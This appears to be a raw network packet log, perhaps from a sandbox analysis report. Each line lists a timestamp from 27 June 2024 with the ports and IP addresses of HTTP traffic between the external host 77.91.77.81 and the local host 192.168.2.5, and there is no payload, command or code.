Jun 27, 2024 19:27:08.112780094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.112791061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.112823009 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.112852097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.112983942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.112993956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113004923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113017082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113025904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113028049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113049984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113066912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113084078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113094091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113117933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113173008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113182068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113193035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113202095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113213062 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113221884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113235950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113253117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113282919 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113293886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113322020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113444090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113452911 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113462925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113472939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113481045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113503933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113507986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113519907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113528967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113539934 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113543034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113564968 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113588095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113668919 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113679886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113688946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113701105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113713980 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113735914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113888025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113898993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113909960 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113920927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113928080 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113940954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113940954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113954067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113962889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113962889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.113976002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.113980055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.114003897 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.114104986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114114046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114125967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114136934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114149094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114149094 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.114160061 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.114182949 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.114557981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114568949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114578009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114588022 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114598036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114603043 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.114610910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114619970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.114624023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114634037 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.114634991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114648104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114656925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114656925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.114670038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.114679098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.114697933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115134954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115179062 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115189075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115200996 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115228891 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115320921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115331888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115341902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115351915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115362883 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115379095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115397930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115464926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115475893 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115499973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115504980 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115510941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115521908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115525961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115534067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115542889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115545988 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115556955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115565062 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115569115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115587950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115602970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115766048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115811110 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115848064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115860939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115870953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115883112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115886927 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115895033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115904093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115906954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115928888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115950108 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.115984917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.115995884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.116024017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.116122007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.116137981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.116148949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.116159916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.116161108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.116172075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.116182089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.116182089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.116194010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.116204977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.116205931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.116218090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.116223097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.116238117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.116260052 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.139782906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.139803886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.139816046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.139834881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.139868021 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.139940977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.139951944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.139961958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.139975071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.139986992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.139987946 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.140002012 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.140018940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.140101910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140113115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140125990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140142918 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.140165091 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.140194893 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140207052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140234947 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.140330076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140341997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140353918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140366077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140369892 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.140378952 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140386105 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.140392065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140409946 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.140431881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.140463114 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140475988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.140499115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.140515089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.167712927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.167726994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.167737961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.167773962 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.167778015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.167789936 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.167798996 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.167813063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.167825937 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.167905092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.167915106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.167946100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.207304955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.207318068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.207328081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.207340002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.207366943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.207400084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.207412004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.207448959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.207549095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.207560062 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.207568884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.207590103 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.207607985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.207886934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.207897902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.207906961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.207931995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.207947969 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208014011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208024979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208029985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208039999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208053112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208055973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208064079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208074093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208076000 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208096027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208115101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208211899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208224058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208252907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208272934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208285093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208312035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208369970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208379984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208389997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208401918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208410025 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208412886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208420992 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208446980 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208617926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208632946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208642960 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208652973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208657026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208663940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208673954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208673954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208694935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208695889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208704948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208709955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208718061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208729982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208734035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208744049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208758116 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208935976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208945990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208954096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208966017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208977938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.208976984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208988905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.208990097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209002972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209003925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209017992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209024906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209044933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209301949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209340096 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209371090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209383011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209408998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209428072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209438086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209446907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209465981 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209482908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209501028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209512949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209534883 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209546089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209593058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209604979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209635019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209752083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209763050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209772110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209784985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209793091 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209796906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209804058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209821939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209835052 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.209875107 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209884882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.209913015 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210032940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210043907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210053921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210068941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210072994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210081100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210091114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210092068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210103989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210110903 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210114956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210136890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210150957 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210278034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210288048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210297108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210315943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210316896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210328102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210335970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210340023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210350990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210357904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210362911 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210374117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210377932 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210386038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210396051 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210417986 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210664034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210675001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210683107 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210692883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210705042 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210709095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210716009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210721016 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210728884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210737944 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210740089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.210758924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.210771084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.234442949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234457016 CEST	80	49721	77.91.77.81	192.168.2.5
